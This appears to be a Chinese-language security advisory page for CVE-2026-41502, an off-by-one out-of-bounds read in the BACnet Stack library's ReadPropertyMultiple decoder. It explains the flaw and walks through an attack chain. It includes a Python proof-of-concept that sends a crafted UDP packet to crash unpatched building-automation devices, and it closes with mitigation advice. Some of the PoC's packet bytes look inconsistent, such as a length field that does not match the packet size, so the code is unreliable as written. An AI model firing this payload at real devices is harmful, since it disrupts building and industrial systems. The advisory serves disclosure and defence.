IPBUF安全漏洞报告
English
CVE-2026-41502 CVSS 7.5 高危

CVE-2026-41502 BACnet Stack越界读取漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41502
漏洞类型
越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BACnet Stack

相关标签

CVE-2026-41502BACnet越界读取物联网安全拒绝服务

漏洞概述

BACnet Stack是一款专为嵌入式系统设计的BACnet开源协议栈C语言库。在1.4.3版本之前,该库的ReadPropertyMultiple服务解码器中存在一个严重的差一错误(Off-by-one)导致的越界读取漏洞。未经身份验证的远程攻击者可以通过发送特制的、包含截断对象标识符的RPM请求,利用此漏洞读取超出已分配缓冲区边界的一个字节数据。由于验证逻辑与实际内存访问长度不一致,这种攻击可能导致嵌入式BACnet设备服务崩溃,从而严重影响设备的可用性。

技术细节

该漏洞位于src/bacnet/rpm.c文件的rpm_decode_object_id()函数中,其根本原因是长度校验逻辑与实际内存访问操作之间的不匹配。函数首先执行检查`if (apdu_len < 5)`,如果条件成立则返回错误。然而,在后续的数据包解析过程中,代码实际上访问了apdu数组的索引0到5(共6个字节)。具体的访问流程包括:消耗1字节作为上下文标签,4字节作为对象标识符,最后尝试读取apdu[5]用于检查开放标签。当攻击者精心构造一个长度恰好为5字节的输入包时,该输入能够顺利通过apdu_len < 5的长度检查,但在代码执行到读取apdu[5]的位置时,会发生1字节的越界读取。这是一个典型的Off-by-one错误。由于ReadPropertyMultiple确认服务处理程序在参考服务器中默认处于启用状态,未经身份验证的远程攻击者可直接利用此漏洞,导致设备读取非法内存地址,进而引发拒绝服务或设备崩溃。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络中开放的47808端口(BACnet默认端口),识别使用BACnet Stack且版本低于1.4.3的嵌入式设备。
STEP 2
2. 构造恶意数据包
攻击者构造一个特殊的ReadPropertyMultiple (RPM) 请求包,其中包含一个长度恰好为5字节的截断对象标识符。
STEP 3
3. 发送攻击载荷
攻击者无需认证,直接将恶意数据包发送给目标设备的BACnet服务端口。
STEP 4
4. 触发漏洞
目标设备在rpm_decode_object_id()函数中处理该数据包时,因长度校验逻辑缺陷,读取缓冲区外的第6个字节,触发越界读取异常。
STEP 5
5. 系统崩溃
非法的内存访问导致BACnet服务进程崩溃或设备重启,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-41502: Off-by-one OOB Read in BACnet Stack # Target: BACnet Stack < 1.4.3 # Description: Sends a crafted RPM request with a truncated object identifier # to trigger the off-by-one read in rpm_decode_object_id. TARGET_IP = "192.168.1.100" # Replace with target IP BACNET_PORT = 47808 def send_exploit(): # BACnet Virtual Link Layer header (BVLL) - type 0x81 (Original-Unicast-NPDU) bvll_header = bytes.fromhex("81 00 14") # BACnet NPDU npdu = bytes.fromhex("04") # BACnet APDU - ReadPropertyMultiple-Request (0x0C) apdu_header = bytes.fromhex("0C 50 01") # Context tags to reach the vulnerable function prop_context = bytes.fromhex("0C 1E") # Crafted payload: 1 byte context tag + 4 bytes Object ID = 5 bytes total. # The check is apdu_len < 5, so 5 bytes passes. # The code tries to read apdu[5], causing OOB read. crafted_payload = bytes.fromhex("0E 00 00 00 01") payload = bvll_header + npdu + apdu_header + prop_context + crafted_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (TARGET_IP, BACNET_PORT)) print(f"[+] Exploit packet sent to {TARGET_IP}:{BACNET_PORT}") print("[+] If vulnerable, the device might crash due to OOB read.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

影响范围

BACnet Stack < 1.4.3

防御指南

临时缓解措施
如果无法立即升级,建议禁用ReadPropertyMultiple服务(如果业务允许),或者部署入侵检测系统(IDS)监控并拦截异常的BACnet流量模式,特别是异常长度的RPM请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表